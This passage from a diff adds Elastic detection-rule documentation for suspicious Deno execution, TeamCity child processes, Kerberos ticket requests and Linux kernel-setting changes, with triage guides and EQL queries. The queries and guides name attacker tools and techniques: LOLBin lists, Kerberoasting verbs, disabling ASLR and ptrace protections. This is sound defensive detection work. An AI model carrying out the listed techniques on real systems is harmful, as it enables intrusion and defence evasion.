hosting, new module sources, S3-like staging, or polling/C2 endpoints unrelated to the task; lower concern when traffic stays with recognized internal registries, package mirrors, or vendor services. Missing network telemetry is unresolved, not benign. + +- Did Deno stage scripts, modules, or persistence artifacts? + - Focus: file events for `process.entity_id`; if absent, use `host.id`, `process.pid`, and a tight alert window. Review `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, and later `process.executable` reuse of written paths. !{investigate{"description":"","label":"File events from Deno","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Range: start with the alert window; after the first suspicious write, check later execution of that artifact. + - Implication: escalate when Deno writes scripts, binaries, cache content, or startup material into user-writable or persistence paths, or provenance shows internet delivery; lower concern when artifacts stay inside a recognized source tree, build workspace, or Deno cache expected for the command. Missing file telemetry is unresolved, not benign. + +- Do related alerts change scope? + - Focus: related alerts for the same `user.id` in 48 hours; compare Deno path, parent launcher, command mode, permission flags, and module or destination pattern. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if user scope is quiet or ambiguous, compare related alerts for the same `host.id` in 48 hours to see whether the pattern stays local or recurs in execution alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same Deno path, flags, launcher, or remote-code pattern appears in other suspicious alerts; keep the case local only when local evidence fits one recognized workflow and alert history does not contradict it. + +- Escalate for broad permissions, abnormal lineage, follow-on execution, remote code retrieval, staging, repeated delivery, or related-alert expansion; close only when all evidence binds to one recognized developer, build, or lab workflow; preserve evidence and escalate on conflict or incomplete visibility. + + +*False positive analysis* + + +- Developer workstations and CI/build runners can legitimately use Deno. Confirm only when runtime identity, parent launcher, command/permission scope, and available DNS/network evidence align with the same repository, package registry, internal module host, or build workflow, with no suspicious child process or off-workspace artifact. Require available repository metadata, build definitions, or developer-host inventory; without them, do not close on recurrence alone. Use prior alerts only after alert-local and recovered evidence bind activity to one exact workflow, and require outside confirmation where telemetry cannot prove it. +- Authorized lab or automation testing can use inline eval, remote imports, or data URLs, but should stay on lab/automation hosts with bounded permissions. Confirm only when broad `-A` or `--allow-all` is absent or test-harness-justified, the parent launcher fits that lab, file/network evidence shows no callback or staging, and `user.id` or `host.id` scope explains the activity. +- Build exceptions from the minimum confirmed workflow: stable `process.executable` or `process.code_signature.subject_name`, `process.parent.executable`, exact `process.command_line` permission/import pattern, and proven `user.id` or `host.id` scope. Avoid exceptions on `process.name`, `user.name`, `deno.exe`, signer, or broad permission flags alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record evidence proving the workflow: runtime identity, command mode and permissions, parent launcher, `user.id` / `host.id` scope, and available destination or artifact evidence. Create an exception only after that same narrow workflow recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert document, process tree, exact command line, parent and child process events, Deno cache/workspace artifacts, and available file/DNS/network records before containment. Apply reversible containment first: temporary blocking of the confirmed module or callback destination, heightened monitoring on affected `host.id` and `user.id`, or host isolation only when follow-on execution, payload staging, or repeated suspicious destinations indicate active compromise and asset tolerates isolation. +- If confirmed malicious, isolate the host when operationally tolerable or terminate Deno only after preserving volatile process evidence. Block confirmed malicious domains, IPs, hashes, executable paths, and staged artifact paths; then review hosts/users for the same parent launcher, Deno command mode, permission pattern, and destination set before removing staged scripts, unauthorized Deno runtimes, startup material, scheduled tasks, or persistence tied to the chain. +- Post-incident hardening: restrict Deno to recognized developer, build, and lab hosts; review whether `-A` or broad `--allow-*` permissions are necessary; retain process plus file/network telemetry needed for triage; and record adjacent variants such as `data:` URLs, remote `https:` imports, `npm:` / `jsr:` modules, and Deno launched from script hosts with the case outcome. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "deno.exe" or ?process.pe.original_file_name == "deno.exe" or ?process.code_signature.subject_name == "Deno Land Inc.") and + process.command_line : ("*javascript*base64*", "*eval(*", "*http*", "*javascript*import*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-jetbrains-teamcity-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-jetbrains-teamcity-child-process.asciidoc new file mode 100644 index 0000000000..b5340b5860 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-jetbrains-teamcity-child-process.asciidoc @@ -0,0 +1,252 @@ +[[prebuilt-rule-8-19-34-suspicious-jetbrains-teamcity-child-process]] +=== Suspicious JetBrains TeamCity Child Process + +Identifies suspicious processes being spawned by the JetBrain TeamCity process. This activity could be related to JetBrains remote code execution vulnerabilities. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious JetBrains TeamCity Child Process* + + +JetBrains TeamCity is a continuous integration and deployment server used to automate software development processes. Adversaries may exploit vulnerabilities in TeamCity to execute unauthorized code, potentially spawning malicious child processes. The detection rule identifies unusual child processes initiated by TeamCity's Java executable, flagging potential exploitation attempts by monitoring for known suspicious executables, while excluding legitimate operations. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent and child processes associated with the suspicious activity, focusing on the parent executable paths like "?:\TeamCity\jre\bin\java.exe". +- Examine the command-line arguments of the suspicious child processes, especially those involving "cmd.exe" or "powershell.exe", to understand the actions being executed. +- Check for any recent vulnerabilities or patches related to JetBrains TeamCity that might explain the suspicious behavior. +- Investigate the user account under which the suspicious processes were executed to determine if it aligns with expected usage patterns or if it indicates potential compromise. +- Correlate the alert with other security events or logs from data sources like Sysmon or Microsoft Defender XDR to identify any related malicious activity or indicators of compromise. +- Assess network activity from the host to detect any unusual outbound connections that might suggest data exfiltration or communication with a command and control server. + + +*False positive analysis* + + +- Legitimate build scripts may invoke command-line utilities like cmd.exe or powershell.exe. To handle these, create exceptions for specific scripts by matching known safe arguments or paths. +- Automated tasks or maintenance scripts might use network utilities such as ping.exe or netstat.exe. Exclude these by identifying and allowing specific scheduled tasks or maintenance windows. +- System monitoring tools could trigger processes like tasklist.exe or systeminfo.exe. Whitelist these tools by verifying their source and ensuring they are part of authorized monitoring solutions. +- Development or testing environments may frequently use utilities like explorer.exe or control.exe. Establish exceptions for these environments by defining specific hostnames or IP ranges where such activity is expected. +- Custom scripts or applications might use msiexec.exe for legitimate software installations. Allow these by confirming the source and purpose of the installations, and excluding them based on known safe paths or signatures. + + +*Response and remediation* + + +- Immediately isolate the affected TeamCity server from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious child processes identified by the detection rule, such as cmd.exe or powershell.exe, to halt potential malicious activities. +- Conduct a thorough review of recent changes and deployments in TeamCity to identify any unauthorized modifications or suspicious activities. +- Apply the latest security patches and updates to TeamCity and its underlying Java runtime environment to mitigate known vulnerabilities. +- Restore the affected system from a clean backup taken before the suspicious activity was detected, ensuring no remnants of the exploit remain. +- Monitor network traffic and system logs for any signs of continued or related suspicious activity, focusing on the indicators identified in the detection rule. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for additional security measures. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : + ("?:\\TeamCity\\jre\\bin\\java.exe", + "?:\\Program Files\\TeamCity\\jre\\bin\\java.exe", + "?:\\Program Files (x86)\\TeamCity\\jre\\bin\\java.exe", + "?:\\TeamCity\\BuildAgent\\jre\\bin\\java.exe") and + process.name : ("cmd.exe", "powershell.exe", "msiexec.exe", "certutil.exe", "bitsadmin.exe", "wmic.exe", "curl.exe", "ssh.exe", + "rundll32.exe", "regsvr32.exe", "mshta.exe", "certreq.exe", "net.exe", "nltest.exe", "whoami.exe", "hostname.exe", + "tasklist.exe", "arp.exe", "nbtstat.exe", "netstat.exe", "reg.exe", "tasklist.exe", "Microsoft.Workflow.Compiler.exe", + "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", "cdb.exe", "cmstp.exe", "control.exe", "cscript.exe", "csi.exe", + "dnx.exe", "dsget.exe", "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "ieexec.exe", "iexpress.exe", + "installutil.exe", "ipconfig.exe","msxsl.exe", "netsh.exe", "odbcconf.exe", "ping.exe", "pwsh.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "rcsi.exe", "regasm.exe", "regsvcs.exe", "regsvr32.exe", "sc.exe", "schtasks.exe", + "systeminfo.exe", "tracert.exe", "wmic.exe", "wscript.exe","xwizard.exe", "explorer.exe", "msdt.exe") and + not (process.name : "powershell.exe" and process.args : "-ExecutionPolicy" and process.args : "?:\\TeamCity\\buildAgent\\work\\*.ps1") and + not (process.name : "cmd.exe" and process.args : "dir" and process.args : "/-c") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-kerberos-authentication-ticket-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-kerberos-authentication-ticket-request.asciidoc new file mode 100644 index 0000000000..0f1b81235a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-kerberos-authentication-ticket-request.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-34-suspicious-kerberos-authentication-ticket-request]] +=== Suspicious Kerberos Authentication Ticket Request + +Correlates network connections to the standard Kerberos port by an unusual process from the source machine with a Kerberos authentication ticket request from the target domain controller. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/its-a-feature/bifrost +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768 +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769 + +*Tags*: + +* Domain: Endpoint +* Domain: Identity +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Kerberos Authentication Ticket Request* + + + +*Possible investigation steps* + + +- Which Timeline member events define this Kerberos sequence? + - Focus: Timeline members keyed by alert `source.ip` and `source.port`; recover source `process.executable`, Kerberos `destination.ip`, and auth `event.code`. + - Hint: record `host.id` and `process.entity_id`; verify auth `winlog.computer_name` is the DC. + - Implication: escalate when one non-"lsass.exe" source process maps to a DC "4768" or "4769" event in the sequence window; lower concern for socket reuse, a different process, or non-DC destination. + +- Is the recovered source process a recognized Kerberos-capable client? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Hint: open process start with recovered `host.id` and `process.entity_id`; if absent, use `host.id`, `process.pid`, and sequence window. + - Implication: escalate when the binary is unsigned, renamed, user-writable, signer-mismatched, or outside known AD audit, Kerberos diagnostic, or security-test tooling; lower concern only when path, signer, hash history, command, and parent converge on one known tool. + +- Does command-line and parentage show ticket-tool intent? + - Focus: recovered `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and broader process lineage when needed. + - Implication: escalate on Bifrost-like verbs or flags such as asktgt, asktgs, s4u, ptt, kerberoast, service/SPN targets, hashes, keytabs, RC4, or base64 tickets, especially from shell or script parents; bounded diagnostics from a recognized admin tool reduce but do not clear concern. + +- Which ticket path and target account did the DC member event show? + - Focus: recovered auth `event.code`, `winlog.event_data.TargetUserName`, and `winlog.event_data.TargetDomainName`. + - Implication: escalate when "4769" shows service-ticket activity or "4768" shows TGT handling for privileged, service, machine, or delegation-sensitive targets from the unusual process; fan-out increases concern. + +- Does the source user and session context fit one bounded admin or audit source? + - Focus: recovered `user.id`, `user.name`, `user.domain`, and `winlog.event_data.TargetUserName`. + - Implication: escalate when privileged, service, or user-account tickets originate from a workstation, user session, or non-management tool; lower concern only when source host, user, process identity, command/parent, and target account recur as one bounded Kerberos diagnostic or audit pattern. + +- Do surrounding Kerberos events show repetition or account fan-out? + - Focus: same-source Kerberos network and authentication events, checking additional "4768"/"4769" events and `winlog.event_data.TargetUserName`. + - !{investigate{"description":"","label":"Kerberos network events from the same source IP","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"destination.port","queryType":"phrase","value":"88","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Authentication events for the same source IP","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"authentication","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when requests repeat or fan out across accounts; a single bounded request narrows scope but does not close if process identity or command intent remains suspicious. Missing network or authentication telemetry is unresolved, not benign. + +- Do later logon or explicit-credential events suggest ticket use? + - Focus: same-source authentication results, checking later `event.code` "4624"/"4648", `winlog.event_data.TargetUserName`, and 4648 `winlog.event_data.TargetServerName`. + - Implication: escalate when post-ticket logon or explicit-credential activity reaches sensitive accounts or servers from the same source; absence narrows impact but does not close if the ticket request remains suspicious. Missing same-source authentication telemetry leaves ticket use unresolved, not benign. + +- If local evidence remains suspicious or unresolved, does the same source show related alerts? + - Focus: related alerts for `source.ip`; manually pivot on recovered `process.hash.sha256` or `winlog.event_data.TargetUserName` when locally suspicious. !{investigate{"description":"","label":"Alerts associated with the same source IP","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when credential-access, Kerberoasting, relay, or lateral-movement alerts share the source, process, or target account; keep local only when related alerts are absent and recovered evidence resolves cleanly. + +- Escalate when sequence recovery, source-process identity, command intent, DC ticket target, account context, or surrounding ticket/logon activity show unauthorized direct Kerberos; close only when telemetry binds one recognized tool, source host, user, and target account and outside confirmation verifies exact activity when telemetry cannot; preserve and escalate when visibility is incomplete or evidence conflicts. + + +*False positive analysis* + + +- AD audit tools, Kerberos diagnostics, interoperability testing, or security testing can request tickets directly instead of through "lsass.exe". Confirm only when process path, signer/hash, parent, command line, `source.ip`, `user.id`, `event.code`, and target account align with the same recognized tool on a dedicated admin, lab, or audit source; without outside records, require the same process identity, source host/user, target account, and bounded ticket pattern across prior alerts from this rule. +- Treat partial matches as unresolved when process identity fits but the command targets unusual SPNs, privileged accounts, RC4/kerberoast behavior, or follow-on "4624"/"4648" activity. Do not close on signer, source IP, or event code alone when ticket target or command intent contradicts benign workflow. +- Before creating an exception, anchor it to the minimum stable workflow: dedicated `source.ip` or source host, process signer/hash/path, parent workflow, `user.id`, target account, and bounded `event.code` pattern. Avoid exceptions on `source.port`, `event.code`, process name, or broad account patterns alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the recovered source host/IP, process identity, command line, source user, DC ticket event, and target account that proved the recognized workflow. Create an exception only after the same dedicated source and process pattern recurs consistently. +- If suspicious but unconfirmed, preserve the alert, Timeline member events, suspicious process binary and command line, source socket, DC authentication record, and any follow-on "4624" or "4648" evidence before containment or process action. +- Apply reversible containment next: restrict the recovered source host's Kerberos/DC access or isolate the host when its role tolerates isolation, and suspend the recovered process only after process and authentication artifacts are captured. +- If confirmed malicious, isolate the recovered source host, terminate or suspend the recovered process after recording its `process.entity_id`, expire exposed Kerberos tickets where operationally appropriate, and reset or rotate impacted credentials, prioritizing privileged, service, machine, and delegation-capable accounts. +- Before cleanup, search for the same source IP, recovered process hash, target account, and related credential-access, Kerberoasting, relay, or lateral-movement activity so scope is not limited to the first sequence. +- After containment, retain DC "4768"/"4769" auditing and endpoint network telemetry, restrict direct Kerberos tooling to controlled admin/testing hosts, and document the recovered tool pattern and any logging gaps in the case record. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] +- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-kerberos-authentication-service[Audit Kerberos Authentication Service] +- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-kerberos-service-ticket-operations[Audit Kerberos Service Ticket Operations] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip with maxspan=3s + [network where host.os.type == "windows" and destination.port == 88 and + process.executable != null and process.pid != 4 and + not process.executable : ( + "?:\\Windows\\system32\\lsass.exe", + "\\device\\harddiskvolume*\\windows\\system32\\lsass.exe", + "\\device\\harddiskvolume*\\windows\\system32\\svchost.exe" + ) and + not ( + process.executable : ( + "C:\\Windows\\System32\\svchost.exe", + "C:\\Program Files\\VMware\\VMware View\\Server\\bin\\ws_TomcatService.exe", + "C:\\Program Files\\Omnissa\\Horizon\\Server\\bin\\ws_TomcatService.exe", + "C:\\Program Files\\SysAidServer\\root\\WEB-INF\\domains\\NetworkDiscovery.exe", + "C:\\Program Files (x86)\\IGEL\\RemoteManager\\*\\bin\\tomcat10.exe", + "F:\\IGEL\\RemoteManager\\*\\bin\\tomcat10.exe" + ) and + user.id in ("S-1-5-20", "S-1-5-18") + ) and + source.ip != "127.0.0.1" and destination.ip != "::1" and destination.ip != "127.0.0.1"] + [authentication where host.os.type == "windows" and event.code in ("4768", "4769")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Sub-technique: +** Name: AS-REP Roasting +** ID: T1558.004 +** Reference URL: https://attack.mitre.org/techniques/T1558/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-kernel-feature-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-kernel-feature-activity.asciidoc new file mode 100644 index 0000000000..d30b84dc18 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-kernel-feature-activity.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-suspicious-kernel-feature-activity]] +=== Suspicious Kernel Feature Activity + +This rule detects the modification and reading of kernel features through built-in commands. Attackers may collect information, disable or weaken Linux kernel protections. For example, an attacker may modify ASLR protection by disabling kernel.randomize_va_space, allow ptrace by setting kernel.yama.ptrace_scope to 0, or disable the NMI watchdog by setting kernel.nmi_watchdog to 0. These changes may be used to impair defenses and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Kernel Feature Activity* + + +Kernel features in Linux systems are critical for maintaining security and stability. They control various system behaviors, such as memory randomization and process tracing. Adversaries may exploit these features to weaken defenses, for instance, by disabling address space layout randomization (ASLR) or enabling unrestricted process tracing. The detection rule identifies suspicious activities by monitoring command executions that modify or read kernel settings, focusing on unusual patterns or contexts that suggest malicious intent. + + +*Possible investigation steps* + + +- Review the process command line to identify which specific kernel feature was accessed or modified, focusing on entries like kernel.randomize_va_space or kernel.yama.ptrace_scope. +- Examine the parent process executable and name to determine the context in which the suspicious command was executed, checking for unusual or unauthorized parent processes. +- Investigate the user account associated with the process execution to assess whether the activity aligns with expected behavior for that user. +- Check for any recent changes in the /etc/sysctl.conf or /etc/sysctl.d/ directories that might indicate unauthorized modifications to kernel settings. +- Analyze the system's process execution history to identify any patterns or sequences of commands that suggest a broader attack or compromise. +- Correlate the alert with other security events or logs to determine if this activity is part of a larger attack campaign or isolated incident. + + +*False positive analysis* + + +- System administrators or automated scripts may frequently modify kernel settings for legitimate purposes such as performance tuning or system maintenance. To handle these, identify and whitelist known administrative scripts or processes that regularly perform these actions. +- Security tools or monitoring solutions might execute commands that read kernel settings as part of their normal operation. Review and exclude these tools from triggering alerts by adding them to an exception list based on their process names or command patterns. +- Developers and testers might disable certain kernel features temporarily during debugging or testing phases. Coordinate with development teams to document these activities and exclude them from detection by specifying the relevant process names or command lines. +- Some system management tools may use commands like sysctl to apply configuration changes across multiple systems. If these tools are verified as non-threatening, exclude their specific command patterns or parent processes from triggering the rule. +- Regular system updates or configuration management processes might involve reading or modifying kernel settings. Identify these processes and add them to an exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Review and revert any unauthorized changes to kernel settings, such as ASLR, ptrace scope, or NMI watchdog, to their secure defaults using sysctl or by editing configuration 